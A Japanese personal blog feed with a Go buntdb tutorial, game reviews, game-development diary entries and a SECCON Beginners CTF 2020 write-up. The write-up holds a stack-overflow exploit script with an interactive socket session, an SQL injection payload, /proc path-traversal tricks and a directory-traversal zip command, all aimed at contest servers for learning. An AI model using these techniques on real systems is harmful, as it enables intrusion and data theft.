Tumgik
negusema · 10 months
Text
ここです
0 notes
negusema · 2 years
Text
回転寿司
https://rsushi.neguse.net/
0 notes
negusema · 3 years
Text
buntdb について
buntdb とは
tidwall/buntdbは Pure Go で書かれた KVS ライブラリ。 インメモリで処理を行うが、ディスクに永続化することもできる。またトランザクションや Index がある。 Go からは mattn/go-sqlite3を使えば SQLite が使えるが、 SQLite は cgo が必要なので、環境によってはややビルド方法などで気を使う必要がある。 そのため Pure Go で使える DB ライブラリがほしかった。 buntdb は KVS なので SQLite ほど柔軟にクエリや集計できるわけではないが、用途によっては使えるかと思った。
シンプルな使い方
https://play.golang.org/p/wSHTfPSmmHp
package main import ( "fmt" "log" "github.com/tidwall/buntdb" ) func main() { db, err := buntdb.Open(":memory:") if err != nil { log.Fatal(err) } defer db.Close() // 読み書きができるトランザクションを生成 db.Update(func(tx *buntdb.Tx) error { // レコードの登録 tx.Set("key3", "value3", nil) tx.Set("key1", "value1", nil) tx.Set("key2", "value2", nil) return nil // エラーが返らない場合コミットされる }) // 読み込みのみのトランザクションを生成 db.View(func(tx *buntdb.Tx) error { // 全レコードを昇順でイテレート tx.Ascend("", func(key, value string) bool { fmt.Println(key, value) return true }) return nil }) }
結果
key1 value1 key2 value2 key3 value3
トランザクションは、読み書き, 読み込みのみ, どちらの場合も関数として表現する
Key も Value も string 型
Index を使う
https://play.golang.org/p/tchBZ89nFwy
package main import ( "fmt" "log" "github.com/tidwall/buntdb" ) func main() { db, err := buntdb.Open(":memory:") if err != nil { log.Fatal(err) } defer db.Close() // keyに`key:`というprefixがつくレコードを対象に、valueを文字列としてソートする`indexstr`という名前のインデックスを生成 db.CreateIndex("indexstr", "key:*", buntdb.IndexString) // keyに`key:`というprefixがつくレコードを対象に、valueを数値としてソートする`indexint`という名前のインデックスを生成 db.CreateIndex("indexint", "key:*", buntdb.IndexInt) db.Update(func(tx *buntdb.Tx) error { tx.Set("key:1", "13", nil) tx.Set("key:2", "2", nil) tx.Set("key:3", "9", nil) return nil // エラーが起きていなければ自動でコミットされる }) db.View(func(tx *buntdb.Tx) error { fmt.Println("iterate over indexstr") tx.Ascend("indexstr", func(key, value string) bool { fmt.Println(key, value) return true }) fmt.Println("iterate over indexint") tx.Ascend("indexint", func(key, value string) bool { fmt.Println(key, value) return true }) return nil }) }
結果
iterate over indexstr key:1 13 key:2 2 key:3 9 iterate over indexint key:2 2 key:3 9 key:1 13
Index の対象とするレコードは、Key のパターンで指定する
パターン文字列には*(任意の文字列)と?(任意の 1 文字)が使える https://pkg.go.dev/github.com/tidwall/match#Match
Multi Value Index を使う
https://play.golang.org/p/eEMPdWVoy6X
package main import ( "fmt" "log" "github.com/tidwall/buntdb" ) func main() { db, err := buntdb.Open(":memory:") if err != nil { log.Fatal(err) } defer db.Close() // 全レコードを対象に、valueをJSONとみなしてi1, i2の値の順にソートする`index`という名前のインデックスを生成 db.CreateIndex("index", "*", buntdb.IndexJSON("i1"), buntdb.IndexJSON("i2")) db.Update(func(tx *buntdb.Tx) error { var err error records := []struct { Key string Value string }{ // 値が文字列 {Key: "s12", Value: `{"i1":"1", "i2":"2"}`}, {Key: "s21", Value: `{"i1":"2", "i2":"1"}`}, {Key: "s22", Value: `{"i1":"2", "i2":"2"}`}, {Key: "s322", Value: `{"i1":"3", "i2":"22"}`}, {Key: "s32", Value: `{"i1":"3", "i2":"2"}`}, {Key: "s11", Value: `{"i1":"1", "i2":"1"}`}, {Key: "s31", Value: `{"i1":"3", "i2":"1"}`}, {Key: "s33", Value: `{"i1":"3", "i2":"3"}`}, // 値が数値型 {Key: "n12", Value: `{"i1":1, "i2":2}`}, {Key: "n21", Value: `{"i1":2, "i2":1}`}, {Key: "n22", Value: `{"i1":2, "i2":2}`}, {Key: "n322", Value: `{"i1":3, "i2":22}`}, {Key: "n32", Value: `{"i1":3, "i2":2}`}, {Key: "n11", Value: `{"i1":1, "i2":1}`}, {Key: "n31", Value: `{"i1":3, "i2":1}`}, {Key: "n33", Value: `{"i1":3, "i2":3}`}, } for _, record := range records { _, _, err = tx.Set(record.Key, record.Value, nil) } return err }) db.View(func(tx *buntdb.Tx) error { // indexを昇順にイテレート fmt.Println("iterate over index") tx.Ascend("index", func(key, value string) bool { fmt.Println(key, value) return true }) // indexの値が `{"i1":3, "i2":1}` と同じレコードをイテレート fmt.Println("iterate over index equal to n31") tx.AscendEqual("index", `{"i1":3, "i2":1}`, func(key, value string) bool { fmt.Println(key, value) return true }) // indexの値が `{"i1":3, "i2":1}` より大きいレコードをイテレート fmt.Println("iterate over index greater or equal to n31") tx.AscendGreaterOrEqual("index", `{"i1":3, "i2":1}`, func(key, value string) bool { fmt.Println(key, value) return true }) // i1 = 3のレコードをi2の値で昇順にイテレート fmt.Println("iterate over index where i1 = 3") tx.AscendRange("index", `{"i1":3, "i2":0}`, `{"i1":4, "i2":0}`, func(key, value string) bool { fmt.Println(key, value) return true }) return nil }) }
結果
iterate over index n11 {"i1":1, "i2":1} n12 {"i1":1, "i2":2} n21 {"i1":2, "i2":1} n22 {"i1":2, "i2":2} n31 {"i1":3, "i2":1} n32 {"i1":3, "i2":2} n33 {"i1":3, "i2":3} n322 {"i1":3, "i2":22} s11 {"i1":"1", "i2":"1"} s12 {"i1":"1", "i2":"2"} s21 {"i1":"2", "i2":"1"} s22 {"i1":"2", "i2":"2"} s31 {"i1":"3", "i2":"1"} s32 {"i1":"3", "i2":"2"} s322 {"i1":"3", "i2":"22"} s33 {"i1":"3", "i2":"3"} iterate over index equal to n31 n31 {"i1":3, "i2":1} iterate over index greater or equal to n31 n31 {"i1":3, "i2":1} n32 {"i1":3, "i2":2} n33 {"i1":3, "i2":3} n322 {"i1":3, "i2":22} s11 {"i1":"1", "i2":"1"} s12 {"i1":"1", "i2":"2"} s21 {"i1":"2", "i2":"1"} s22 {"i1":"2", "i2":"2"} s31 {"i1":"3", "i2":"1"} s32 {"i1":"3", "i2":"2"} s322 {"i1":"3", "i2":"22"} s33 {"i1":"3", "i2":"3"} iterate over index where i1 = 3 n31 {"i1":3, "i2":1} n32 {"i1":3, "i2":2} n33 {"i1":3, "i2":3} n322 {"i1":3, "i2":22}
buntdb.IndexJSON()を使うと JSON の特定のフィールドに対しての Index を作れる
buntdb.CreateIndex()の引数に複数の Index 関数を設定できる
buntdb.IndexJSON()の順は JSON 中の型による。文字列型であれば文字列として、数値型であれば数値として並ぶ
0 notes
negusema · 3 years
Text
Wildfire
Wildfireというゲームを遊んだ。 https://www.twitch.tv/collections/R4b6MNsFWxaBgw
Wildfireは特殊能力をあやつってステルスする2Dアクションゲーム。 ステージがたくさんあり、1つクリアすると次のステージが遊べるようになる。
敵に見られたり音を聞かれたりすると気づかれるので、それを避けるような行動をとるとステルスできる。 具体的には、草むらや段差、橋の下に隠れたり、走りや落下音が鳴らないよう歩いたり草むらに落下するようにしたり。
能力は3種類あって、最初は火だけ、あとから水、草も使える。
火の使い方や影響はいろいろある。
可燃物(草、橋など)を燃やす。
敵にぶつけて脅かす。
ヤマネコ(においで追跡してくるので隠れても無駄で、めっちゃ強い)を怯えさせて、距離をとらせる(人間以外の生き物は火が怖いので。でも近づきすぎると襲ってくる)。
雪を溶かす。
暗いところで光源になる。敵の松明の火を奪うことで暗闇にして視界を奪う。
温度が上昇する。
Wildfireは能動的に敵を殺す術があまり無く、能力で直接できるのはせいぜい脅かすぐらい。 たとえば以下のようなことをやると殺せるけど、ゲームの達成項目に「不殺」というのもあって、 殺しまくりプレイはあまり推奨されていないように感じる。
火で温度を上げる。基本敵は火を見ると逃げるので閉じ込めるような場所がないとできず、あまり狙えない。
敵に物(死体とか)をぶつけると酸素値が減って、酸素値が0になると気絶する。気絶中に敵を水中に投げて窒息死させる。
高いところから落下させる。脅かしたり、橋を燃やしたり。
スイッチで開閉するシャッターで挟む。
爆弾樽に火を付けると爆発して、その爆風に巻き込む。
ただ、自分のプレイでは能力のアップグレードを積極的には行わずに進めたので、 ちゃんと能力アップグレードを行えばもっと強力になるのかもしれない。
なめらかに動くドット絵のキャラクター、きれいな炎のアニメーション、 状況によってダイナミックに移り変わるBGM(敵に見つかると緊張感が出る)など、演出面はけっこう力が入っている。
ステルスプレイが主体のゲームをあまり遊んだことがないのだけど、割と楽しく遊べた。 能力やオブジェクトの相互作用がたくさん用意されていて、この場面ではこういうことをやれば切り抜けられるんじゃないかという方法を探していくのが楽しい。 気になった点としては、ステージ内でチェックポイントとオートセーブがあってリトライ時にステージ中から遊べるのだけど、 オートセーブの間隔がわかりづらくけっこう戻されることがあった。それでも最初からよりはだいぶましだけど。
クリアまでのプレイ時間はおよそ7時間だった。 ステージごとにサブ目標があったり、不殺、完全ステルス、仲間を全員助ける、リトライなしでクリア、スピードランなど直接クリアには関係ない項目もあって、 それらをすべて達成するのはかなり骨が折れそう。
0 notes
negusema · 3 years
Text
2020年ふりかえり
生活
年始に引っ越しをして、騒音問題がだいぶ解消されたのはよかった。 その後いきなりCOVID-19騒動。テレワーク主体となる。 一時期安定した睡眠が難しくなる。毎朝の散歩や夜極力光を浴びないようにするなど工夫して今は比較的落ち着いてる。 COVID-19以外にも香川県ネット・ゲーム依存症対策条例など色々とネガティブになるニュースが多い年で、 外部からの情報をシャットアウトすることが精神衛生上有効なのではないかという気がしている。
ゲーム
Celeste
とてもよかった。 だいぶ難しめのアクションを要求されるけど、画面単位でリトライが速やかにできるところや、若干入力が遅れてもアクションを受け付けてくれるなど操作しやすさに工夫があってストレスは少ない。 セレステ山を登る話で、ゲーム主人公の成長とプレイヤーの腕前の成長とがあって、登頂できたときには達成感が強い。
Momodora: Reverie Under The Moonlight
とてもよかった。 世界観がだいぶ暗めで、パンデミック下でやると沁みる。 敵の攻撃が雑魚敵でもだいぶダメージを受けるなど難易度は少し高めだけど、操作が快適で、チェックポイントも多めなのでストレスは少ない。
カメさんぽ
散歩のおとも
クロノレガリア
3月末にサービス終了してしまったけど、COVID-19さわぎで遊びおさめが十分にできなかった。 対戦型ゲームとして今までで一番はまったゲームで、PCで遊べるようにしてほしいという気持ちが強い。
Oculus Quest
DJMAX RESPECT V
PS4版を持っていたけど、PCでやれると手軽なので購入。 めっちゃ遊んでたら腱鞘炎になった。 そのままでもボリューム多いし、DLCたくさんあるしで遊びでがある。 対戦が熱い。
A Short Hike
島でほのぼの登山。 難易度は高くないけど、クリアすると達成感はある。
A Dance of Fire and Ice
オリジナリティある音ゲー。 1ミスで終了するため緊張感ある。曲を覚えて徐々に先まで進めるようになるので成長を感じられる。
Seven Scrolls
https://venbrux.itch.io/seven-scrolls
Tormentor❌Punisher
https://note.com/alohatengu/n/n700cf11e17c7
グノーシア
よかった。
レイジングループ
気持ちの良い話のまとめ方で、よかっ���。
リトルウィッチノベタ
よくできてる。
リングフィット
さぼりがち。
Tower of Heaven
だいぶ難しめのアクションを要求されるけど、画面単位でリトライが速やかにできるところや、入力に対して遅延なく反映されるところなど、ストレスは少なめ。 曲、雰囲気がめちゃくちゃいい。
Katana ZERO
最初動きが(Tower of Heavenと比べて)もっさりしてるかと思ったけど、慣れてくるといい感じに動かせる。 だいぶ難しめのアクションを要求されるけど、画面単位でリトライが速やかにでき、ストレスは少なめ。 雰囲気がよい。
スーパーメトロイド
レベルデザインが練られていると感じた。行けないところと行けるところの割合がよいというか、徐々に行けるところが増えてくる感じ。 操作性(スペースジャンプとか振り向きとか)が独特だったり、ボス戦がやや大味(ダメージ覚悟でミサイル連打する戦略がだいぶ有効)とかは微妙に感じた。
Hollow Knight
クリアまでおよそ20時間ぐらいかかった。十分楽しめたけど、個人的にもう少し手軽に遊べるゲームのほうが好み。 プレイ時間が長くなる要員として、マップが広かったりバリエーション豊かな強いボスという長所もあるけど、 チェックポイントからボスまでの距離があるのでリトライしづらかったり、ファストトラベルで移動できる場所が荒くて目的地まで移動に時間がかかったり、デスペナルティでお金を失って買い物ができなくなるなどストレスに感じるところもあった。 音をうまく使っていて、地図を売ってくれるキャラクターの鼻歌が聞こえてくると安心できたりする。
Minit
音楽
Crema Binaria
最高
料理
引っ越しを期に自炊中心の生活を試してみて、その一環で宅配系サービスを試してみた
Oisix
毎週メニューが異なるミールキットが注文できる。 20分で2人分調理できるのはいいが、そもそも調理が面倒になってきてしまった。 配送料の都合で毎週4000円ぐらい注文できるとよいが、ミールキットだけだとちょっと厳しい。
BASE FOODS
栄養がひととおり含まれたパンやスパゲッティが注文できるサービス。 毎日朝食にBASE BREADを1つずつ食べている。
ローソンフレッシュピック
ミールキットや食材など、スマホアプリで注文しておくとローソンで受け取りができるサービス。 他の宅配サービスに比べて1回の注文の量が少なくてもOKだったり注文間隔が短くてもOKというところがとても便利だったけど、残念ながらサービス終了。
茹で野菜の漬け
電子レンジで野菜を3分ほど加熱して(700Wの電子レンジなのでたぶん火の通りが速い)、調味液に漬け込むという調理をたまにやっている。 保存がきくし手軽に野菜がとれて便利。
もやし+酢+ごま油+めんつゆ+唐辛子
なす+しめじ+油揚げ+酢+めんつゆ+唐辛子
キャベツ千切り+ツナ+レモン果汁+オリーブオイル
味付けはめんつゆ以外にもごま+マヨネーズ、塩昆布などもよい。
保存容器
そのままレンジ保存容器が便利。 上記の調理済みミールキットの残りを入れたり、漬けに使ったり、炊いたご飯を冷凍したり、いろいろ使える。 ラップを使うことはほぼなくなった。
動画
オモコロチャンネル
毎週おもしろ動画がアップロードされていて、精神的にまいっていたときに延々と見ていてだいぶ助かった。
フリー素材でにらめっこしたら楽しすぎた!!
バカが作ったウミガメのスープを高知能集団に解かせよう!
一流ビジネスマンのチャット流儀
INDIE Live Expo
インディーゲームの紹介番組。かなり盛り上がっていた。
Game Maker's Toolkit
ゲームデザインなどについて議論しているチャンネル。 面白いのだけど、最近第三者が字幕をつける機能がYouTubeから削除されてしまい、日本語字幕が付かなくなってしまった。
技術
あまり集中してプログラミングの時間をとることができず、これといった成果物は出せなかった。 この状況ではしかたないかという気持ち。
しあわせの書
乱れからくり
プリンタニア・ニッポン
かわいい
「山奥ニート」やってます。
山奥で低生活費で暮らすのいいなーと思った。 ただスケールメリットを出すには複数人で暮らさないといけなそう
猫とともに去りぬ
https://twitter.com/neguse/status/1317065923174354944
殺戮にいたる病
自作の小屋で暮らそう
小屋を建てることで低生活費で暮らすのいいなーと思ったけど、 毎日風呂に入るのは厳しそう(主に下水の問題で)なのでやっぱり厳しそう。 あと本当の意味で一人だけの暮らしは厳しさがありそう https://dot.asahi.com/aera/2018083100054.html
そのへんのアクタ
ゆらゆらQ
おとなりに銀河
地図にない場所
その他
DeepL
だいぶ質がよい翻訳サービス。課金済み。 よいけどたまに文が抜ける。
Philips Hue
夜に明かりを減らすために利用。
羅小黒戦記
かわいい
1 note · View note
negusema · 3 years
Text
散歩中にPodcastを聴いている
最近部屋で過ごしがちなので、意図的に散歩時間をとるようにしている。毎日同じ道を散歩していると飽きるのでPodcastを聴くようにしている。散歩中に本を読むと危ないけど、Podcastなら比較的安全に情報を摂取できて便利。
以下聴いているPodcast
Turing Complete FM
Rebuild.fm
yatteiki.fm
Misreading Chat
IGN JAPAN しゃべりすぎGamer
ゲームデザインの話
ボードゲームのゲームデザイン
そのうち自分もPodcast収録してみたい(けど手頃な題材もトーク力も呼べるゲストもない…)
0 notes
negusema · 3 years
Text
最近遊んだゲーム
ここ最近いわゆる2D Platformer(足場を渡っていく、スーパーマリオのようなアクションゲームのジャンル)を中心にいろいろTwitch で配信しながら遊んでいる。ゲー��作る方のモチベーションがいったん切れてしまった感じなので、遊ぶ方をやろうかと。
とりあえず10月ぐらいからクリアしたのが以下のもの。
Minoria
天国の塔
Katana ZERO
Apple Slash
Noitu Love 2 Devolution
GRIS
ホソナガの野望
忍者ゲーム
スーパーメトロイド
Minit
長いものでも10時間以内にクリアできるぐらいのボリューム。このぐらいがほどよく感じる。
ミスした場合のリトライが速やかにできてチェックポイントが頻繁にあるのが自分的には好ましいということがわかった。Celeste、天国の塔、Katana ZEROなどは精密な操作が要求されるけど、リトライで戻される量が比較的小さくストレスがたまりづらいように感じた。リトライでかなり戻されてしまうと心が折れやすい。
0 notes
negusema · 4 years
Text
雑にゲームを作る(7)
雑にゲームを作る(6) の引き続き。
https://neguse.github.io/ng/demo/tetris/ng.html
テトリス実装RTAの2回目をやってみたけど、タイマー操作をミスして測定できてなかった。およそ70分ぐらいで1時間切れず。事前に使えそうな処理をライブラリ化しておいたのだけど、うーん…
ついでなので、その後乱数まわりの実装をしてみた。同じテトリミノが複数回連続で選ばれないよう、7種類全部出たら次の7つをシャッフルして備える感じの実装とした。
次はアステロイド的なゲームを作って、そろそろオリジナルなゲームに取り掛かりたい。もともとこの取組を始めたのは1週間に1つシンプルなゲームを作りたいというところから来ているので。(ここには初めて書いた気がする)
最近ABA Gamesさんが1時間で小さいゲームを作る取り組みをしていて参考になりそう。確かにrect()とbox()両方あると便利だなーとか。(rectだけだとサイズを保ったまま動かす用途で引数渡すときに計算が必要で面倒)
https://github.com/abagames/crisp-game-lib
1 note · View note
negusema · 4 years
Text
雑にゲームを作る(6)
雑にゲームを作る(5) からの引き続き。今回はテトリスっぽいものを作った。およそ1.5時間でできた。
Tumblr media
https://neguse.github.io/ng/demo/tetris/ng.html
やったこと
盤面のデータ構造定義、初期化、表示
テトリミノのパターン定義
テトリミノの表示、移動、配置できるか判定
列の削除
Future Work
タイトル画面、ゲームオーバー画面
回転のパターンをもう少し自然にする、Oは回しても回らないなど
スコア、たくさん行消すとスコアが上がるなど
徐々に落下速度を上げる
テトリミノの種類ごとに色を変える
予告表示
テトリミノの出現頻度を適正にする(randの剰余でやってるので同じのが連続して出たりする)
よかったこと
途中まで番兵というか、壁を配列内にデータとして定義していたのだけど、それだと揃えて消したときに再度壁をつくらないといけないのが面倒でやめた。配列外の分は、「Y軸上方向を超えた分は何もなし扱い、それ以外は壁扱い」とした。これによって、行が埋まって消えたときの処理が単に上の行から下の行にコピペするだけで済んで、すごいきれいに書けてよかった。
glm::ivec2が大活躍。xとyそれぞれ引数などに渡さなくてすむし、+演算子で足せるので超便利。
途中までAt()をSetter, Getter両方の意味で使ってたのだけど、配列外になることが多そう(Iを回すと一時的に配列外になったり)ということがわかって急遽SetAt()とGetAt()に変えた。これがうまくはまって、特に消すところがよくかけた。
なんとかしたい
最終形が見えてない状態でもりもり書いてて、結局不要になった処理はそこそこあった。壁とかAtとか。何回かやりなおして手順最適化して、タイムアタック動画として投稿したい
rand()に頼らなくてすむよう、乱数ライブラリを導入したい
Board型をライブラリに導入できればタイムが縮むが、汎用化するのは難しい気がしている。どこまでライブラリとして切り出せるか
1 note · View note
negusema · 4 years
Text
雑にゲームを作る(5)
Tumblr media
https://neguse.github.io/ng/demo/breakout/ng.html
雑にゲームを作る(4) から引き続き、簡単なブロックを崩すゲームを作ってみるのを試しました。結果、1時間と数分ぐらいで実装完了しました。
やったこと
バーの移動
ボールの移動
バーとボールの衝突、跳ね返り
ブロックの設定
ブロックとボールの衝突、跳ね返り
ボール発射、ボール数、ゲームオーバー
タイトル画面、操作説明
Future work
バーとボールの衝突で、当たった場所に応じて角度を微調整
時間経過でボールが速くなる
アイテム(バーが大きくなる、ボールが増えるとか)
よかったこと
1時間ぐらいで作れた
ブロックとボールの衝突が雑にやったにしてはよかった
ライブラリ起因のトラブルが出なかった。
今後なんとかしたい
文字表示、どこを基準に揃えるか指定したい。少なくとも左右と中心
Rect型、Leftが取れるだけじゃなくてLeftをSetする方法がほしい。壁跳ね返りとかで必要
矩形の衝突判定はライブラリ化しててほしい。Rect型も上位ライブラリとしてはあり
デバッグ実行(いちいち裏で起動してるcmd.exeから起動してたが、Visual Studioからデバッグ実行したい、OBSの設定を見直す)
1 note · View note
negusema · 4 years
Text
雑にゲームを作る(4)
雑にゲームを作る(3)からの続き
結局前回Emscripten版がうまく動いてなかったのは、試行錯誤最中に間違えてSDL_Init()を呼ぶコードをコメントアウトしてしまっていたためだった。しょうもない…入れたら割と動いてくれるようになった。
Emscripten版とネイティブ版は割とソ��スコード共通でいけるんだけど、一部違うところがある。
OpenGLのバージョン。ネイティブ版は3.3 core profile, Emscripten版は3.0 ES profile。それに伴ってシェーダの一行目に書くバージョンも変わる。
メインループの回し方。emscripten_set_main_loop_arg()などの関数でコールバックとして呼ばれるようにしないといけない
ファイルの読み方。一旦そのままだと無理そうだなということで、フォントファイルを使った文字描画処理は外してある
いままでは、たとえばテトリスを実装して「やった~遊んでもらうぞ~」と思っても相手の人がWindows PCを持っていない場合動かせなかったのだけど、Emscriptenならブラウザ上で動くので、より遊んでもらいやすいということになる。雑に作ったゲームは雑に遊んでほしいので、配布方法も手軽であってほしい。たとえばitch.ioに埋め込むような用途も可能。
ちょっと話がそれるけど、ちょうど gs2というサービスが「売上高1000万以下なら無料」という大盤振る舞いをするというニュースが出てた。こういうバックエンドサービス使えばお手軽にクラウドセーブ機能を導入できていいんじゃないかなーと思った。ただEmscripten用C++は公式SDKの対象外な気がするので、移植大変なんじゃないかなー。ちょっと試してみたい。
http://gs2.hatenablog.com/entry/2020/06/10/092417
0 notes
negusema · 4 years
Text
雑にゲームを作る(3)
雑にゲームを作る(2)から引き続き。今週末はEmscriptenビルドを試していた。
最初、CMakeでvcpkgを使いながらEmscriptenのビルドをする方法を確立するのに時間がかかった。どうもvcpkgのEmscripten対応はごく最近マージされた状態のようで、他に試している人があんまり見つからなかった。結局いろいろやってみて、 CMAKE_TOOLCHAIN_FILE変数をvcpkg.cmakeに、VCPKG_CHAINLOAD_TOOLCHAIN_FILE変数をEmscripten.cmakeに設定してビルドすればできた。
その後ビルドはできるものの動かないという状態が続いた。OpenGL,OpenGL ES,GLSL,WebGLそれぞれのバージョンがどう対応しているかがよくわからず、混乱のもととなった。結局OpenGL ES 3.0(GLSL ES 3.0)ならWebGL2で動きそうということでいろいろ試行錯誤したけどなかなか原因がわからず、最後に最小構成まで削った状態で試してみたところ動いたのでよかった。あとはどこが原因かをコード足しながら���せばよさそう。
最小構成のコードはこちらに置いておきます。https://gist.github.com/neguse/dc5d04ec65bec7d82d47f0a2a9745637
1 note · View note
negusema · 4 years
Text
雑にゲームを作る(2)
前回からの引き続き。
リポジトリを作った
Linuxでもビルドできた。vcpkg便利
簡単な図形表示、入力ができた
こんな感じ。
#include "ng.h" enum { KEY_UP, KEY_DOWN, KEY_RIGHT, KEY_LEFT, KEY_1, KEY_2, }; int main(void) { auto proc = ngProcess::NewProcess(); proc->MapKeyboard('w', KEY_UP); proc->MapKeyboard('a', KEY_LEFT); proc->MapKeyboard('s', KEY_DOWN); proc->MapKeyboard('d', KEY_RIGHT); proc->MapKeyboard('z', KEY_1); proc->MapKeyboard('x', KEY_2); proc->MapMouseButton(1, KEY_1); proc->MapMouseButton(3, KEY_2); // right mouse button if (!proc->Init()) { return 1; } float x = 0.f; int button_press_count = 0; vec2 pos(0.f, 0.f); proc->Run([&](ngProcess& p, float dt) { // update x += dt; const float velocity = 100.f; if (p.IsHold(KEY_LEFT)) { pos.x -= velocity * dt; } if (p.IsHold(KEY_RIGHT)) { pos.x += velocity * dt; } if (p.IsHold(KEY_UP)) { pos.y += velocity * dt; } if (p.IsHold(KEY_DOWN)) { pos.y -= velocity * dt; } if (p.IsJustPressed(KEY_1)) { button_press_count++; } if (p.IsJustPressed(KEY_2)) { button_press_count--; } // drawing p.Clear({0x80, 0x80, 0x80, 0xff}); const auto white = ngColor(0xff, 0xff, 0xff, 0xff); const auto black = ngColor(0x00, 0x00, 0x00, 0xff); const auto translucent_red = ngColor(0xff, 0x00, 0x00, 0x80); p.Line(black, {0, 0}, vec2(cos(x), sin(x)) * 100.f); float l = 100.f + cos(x) * 100.f; p.Circle(translucent_red, translucent_red, {0, 0}, l); auto txt = fmt::format(u8"pos({0},{1}) btn({2})", p.CursorPos().x, p.CursorPos().y, button_press_count); p.Text(black, {-320, 0}, 30, txt.c_str()); p.Square(white, white, pos, 10); }); }
細かいところはあとでもう少し詰めるとして、とりあえずこれだけあればテトリスぐらいは作れるでしょうというところまでできた。よしよし。
1 note · View note
negusema · 4 years
Text
SECCON Beginners CTF 2020 writeup
Tumblr media
writeupというのが何なのかよくわかってないですが、それっぽいのを書いてみます。CTF歴は2018年のctf4b以来2回目です。
Welcome
Discordに貼られたFlagを入れるだけ。
Spy
リストにある名前を適当に入れてみると、一瞬でレスポンスが返る時もあれば1秒ぐらいかかる時もある。 1秒かかるやつ(たぶん暗号化とかで時間かかってそう)をあつめてチェックいれればよし。
R&B
頭にRがついてたらROT13の逆、頭にBがついてたらBase64のDecodeをすればよし。Python久々に書く上にPython3は初だったのでbytesとstrの型変換でとまどった。
import base64 flag = b'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==' def b64decode(s): return base64.b64decode(s) def rrot13(s): def f(x): ch = x if ord('a') <= ch and ch <= ord('z'): ch = ch - 13 if ch < ord('a'): ch += ord('z') - ord('a')+1 elif ord('A') <= ch and ch <= ord('Z'): ch = ch - 13 if ch < ord('A'): ch += ord('Z') - ord('A')+1 return ch return bytes([f(x) for x in s]) while True: print(flag, flag[0]) if flag[0] == ord(b'B'): flag = b64decode(flag[1:]) elif flag[0] == ord(b'R'): flag = rrot13(flag[1:]) else: print("unkwno") exit()
mask
Ghidraで逆アセンブルしたところ、2つのビットマスクに対してFLAGを1文字ずつANDをとって、結果がそれぞれ期待した文字列になるかをチェックしていた。 2つのビットマスクの情報を合わせたら元のFLAGを復元できるので、復元する。
package main import ( "fmt" ) func main() { k1 := "atd4`qdedtUpetepqeUdaaeUeaqau" k2 := "c`b bk`kj`KbababcaKbacaKiacki" m1 := byte(0x75) m2 := byte(0xeb) for i := 0; i < len(k1); i++ { var b byte b = (k1[i] & m1) | (k2[i] & m2) fmt.Printf("%c", b) } }
Beginner's Stack
適当に埋めてったらRSP is misaligned!って言われた。 どうすればいいのかよくわからんかったけど、飛ばす先の関数アドレスを+1したら大丈夫だった(よくわからん…)。
from socket import * from struct import * from time import sleep from telnetlib import Telnet s = socket(AF_INET, SOCK_STREAM) s.connect(("bs.quals.beginners.seccon.jp", 9001)) s.send(b'\x00\x00\x00\x00\x00\x00\x00\x00'*5+b'\x62\x08\x40\x00\x00\x00\x00\x00\x00') t = Telnet() t.sock = s t.interact()
ググったところtelnetlibというのを使っている方がいたので真似した。 Pythonは標準ライブラリが豊富ですごいなあとおもいました。
readme
/からのパスであること、ctfという文字列を含まないことという制約がある。 最初エスケープシーケンスとかでがんばれば回避できるかと思って試したけどうまくいかなかった。 その後、/proc/self/cwd経由の相対パスならいけることがわかった。 カレントディレクトリは/proc/self/environのPWDから取れる。
emoemoencode
Flagのフォーマット的にctf{xxx}なので、最初の文字がcに相当するとしてシーザー復号すればよし。
s = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽" ss = "" for c in s: d = ord(c)-127843+ord('c') print(ord(c), chr(d)) ss += chr(d) print(ss)
Tweetstore
'を\'とエンコードしているが、\'を入力すれば\\'になるのでシングルクオートを閉じることができる。 あとはコメントで後続のクエリを無視して、\' UNION select user, user, now() --をsearch wordに入れれば解ける。
unzip
https://github.com/ptoomey3/evilarc これでdirectory traversalなzipをつくったらいけた。
python evilarc.py flag.txt --depth 7 --os unix
sneaky
Ghidraで逆アセンブルしたところ、ソースが複雑でよくわからなかった。 適当にぽちぽち見てたらちょうどGAMEOVER出力してるっぽいところがあって、 その近辺で10000という定数と比較しているコードがあった。 10000がハイスコア閾値なんじゃ…と思い、バイナリエディタで実行ファイルを書き換えて0にしてみる。 10000(0x0f27)が出てくるところは4箇所あって、1個だけ書き換えるだとだめで、全部書き換えたところアイテムを1個取るだけでOKになった。
0 notes
negusema · 4 years
Text
雑にゲームを作りたい
Tumblr media
ちょっとした2Dのゲームを作って試したいと思った時に、どうにも気が重くて作るところまでたどり着けないことが多かったので、どうにかサクッと作れる環境を用意したい。こういう時だいたいライブラリ、エンジンを作ることに凝ってしまって肝心のゲームを作る方がおいてけぼりになるのでよくない。(いつもそう…)
手の速さは慣れによるところが大きいと思うので、最小限やりたいことができるライブラリを用意しつついろんなゲームを作ってみて、ライブラリの機能と慣れレベルを両方向上させていきたい。具体的には、テトリスやブロックくずし、Asteroids(Atari)みたいなシンプルなゲームであれば1時間かからず作れるようになりたい。
いまどきC++…という気もするけど、ライブラリや開発環境の揃い具合とか言語機能(例えばvector型の加算が+演算子でできてほしい、そのためにはoperator overloadが必要)とか現状の習得コストとか考えると、ひとまずC++が無難かなあという気がしている。
Unityのような既存のゲームエンジンに慣れるという方向もあると思うのだけど、機能がでかいので慣れレベルを上げるのが大変じゃないかなあというのと、アセットがない状態から使うのがやや面倒じゃないかなあというのが気になっている。描画機能としてはシンプルに四角とか丸とかプリミティブな図形を気軽に表示する機能だけがほしい。ペイントソフトを使って雑なテクスチャを書けばいいといえばそうなんだけど、さいしょはプログラムだけで済ませたい。
